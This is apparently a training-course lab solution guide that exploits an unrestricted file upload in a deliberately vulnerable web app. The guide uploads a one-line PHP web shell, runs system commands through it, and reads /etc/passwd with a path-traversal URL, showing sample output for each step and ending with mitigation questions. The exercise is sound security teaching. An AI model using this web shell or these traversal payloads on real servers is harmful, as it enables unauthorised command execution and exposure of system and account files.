



Solution Guide: Local File Inclusion

In this activity, you were tasked with testing an application's intended purpose by uploading and viewing a basic image file. You were then tasked with uploading a malicious PHP script and using the script to execute command-line scripts against the web server.

1. Test the intended use of the web application.

Uploading the Image

We will first see how to upload and view an image from the file upload webpage.

- First select Browse to find the image that you want to upload.
- By default, this should take you to the desktop of your web lab filesystem.
 - If it takes you to a different location, select Desktop.
- There will be a file on your desktop called `image.jpg`.
 - Select that image.
- Back on the file upload page, you should see the `image.jpg` filename that you selected.
 - To upload the file, select Upload.
- You should then receive a success message that states the following:

`../../hackable/uploads/image.jpg successfully uploaded!`

Viewing the Image

- Note that the previous success message indicates where the file has been uploaded to:
- `../../hackable/uploads/image.jpg`
 - Access the image by replacing the `#` at the end of the URL, with the complete location indicated earlier.

- `192.168.13.25/vulnerabilities/upload/../../../../hackable/uploads/image.jpg`
- Note that your browser will automatically update the URL to the direct location of the image:
 - `http://192.168.13.25/hackable/uploads/image.jpg`
 - You should see the image of a squirrel.
- Note that this is how the application is intended to work, by providing the user with an option to upload and view an image!

2. Test an unintended function of the application by loading a malicious PHP script.

- Note that you just tested how the application is designed to load and view an image.
- Let's now view a malicious PHP script that we can upload, instead of an image.
- The malicious PHP script, called `script.php`, has been placed on your desktop.
 - To view this script, find it on your desktop and double-click on it to open:

Unset

```
■      <?php
■      $command = $_GET['cmd'];
■      echo system($command);
■      ?>
```

- - While understanding the exact syntax is not important for now, just note that the contents in the script are designed to run a PHP script to execute a user command.
- Return to the file upload webpage and follow the same steps again, but this time select and upload the file `script.php`.
 - Note that this script will be uploaded to the same location as the image you previously uploaded.

3. Run command-line commands with your PHP script.

- Let's now see if we can run command-line commands against the Replicants web server!
 - Change the URL to access the script that you just uploaded.
- Modify the URL again to run the several Linux commands:
 - **Hint:** Review your class slides to see how to modify the URL to run command-line commands.
 - Run the following Linux commands and take note of the results:
 - `ls`
 - `whoami`
 - `pwd`
 - `ps`
- **Note:** While this is a safe place to experiment with commands, DO NOT run commands that might delete or alter files that your system needs, such as `rm`, `mv`, or `rdmir`.
- **Solution:** The commands to run these scripts are as follows.
 - `192.168.13.25/vulnerabilities/upload/../../../../hackable/uploads/script.php?cmd=ls`
 - Results might vary but will resemble the following:
 - `image.jpg dvwa_email.png script.php script.php`
 - `192.168.13.25/vulnerabilities/upload/../../../../hackable/uploads/script.php?cmd=whoami`
 - Results might resemble the following:
 - `www-data www-data`
 - `192.168.13.25/vulnerabilities/upload/../../../../hackable/uploads/script.php?cmd=pwd`

- Results will resemble the following:

- `/var/www/html/hackable/uploads`
`/var/www/html/hackable/uploads`
- `192.168.13.25/vulnerabilities/upload/../../../../hackable/uploads/script.php?cmd=ps`

- Results might vary but will resemble the following:

- `PID TTY TIME CMD 305 ? 00:00:00 apache2 306`
`? 00:00:00 apache2 307 ? 00:00:00 apache2`
`308 ? 00:00:00 apache2 309 ? 00:00:00`
`apache2 314 ? 00:00:00 apache2 315 ?`
`00:00:00 apache2 316 ? 00:00:00 apache2 317`
`? 00:00:00 apache2 324 ? 00:00:00 sh 325 ?`
`00:00:00 ps 325 ? 00:00:00 ps`

4. **Bonus:** Run commands to explore files with your PHP script.

- Let's now see if we can run malicious commands to explore files within the Replicants web server.
 - By modifying the URL, access the script that you just uploaded.
- Modify the URL to view the `/etc/passwd` file.
 - **Hint:** You will need to encode your payload, as the URL will not accept all characters, such as spaces.
 - Use the following webpage to help design your payload: [MeyerWeb: URL Encoder/Decoder](#).

- **Solution**

- The command to run this script is as follows:

- `192.168.13.25/vulnerabilities/upload/../../../../hackable/uploads/script.php?cmd=cat%20../../../../../../../../etc/passwd`

- Results will resemble the following:

- `root:x:0:0:root:/root:/bin/bash`
`daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin`

```
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL
Server,,,:/nonexistent:/bin/false
mysql:x:101:101:MySQL
Server,,,:/nonexistent:/bin/false
```

5. Answer the following mitigation strategy questions:

- Explain to your manager how a malicious user might exploit these vulnerabilities. Be sure to include the potential impact.
 - There are many acceptable answers such as if a web application is vulnerable to local file injection or a variety of malicious payloads can be exploited. The impact could include the following:
 - Display of confidential data such as user accounts, password hashes, service accounts, or network information.
 - Deletion or modification of this confidential data, which can lead to system outages.
- Describe in plain language how you might mitigate the vulnerabilities that you just exploited.

- There are many acceptable answers, all involving input validation. Options might include server-side validation or to only allow certain file types to be uploaded.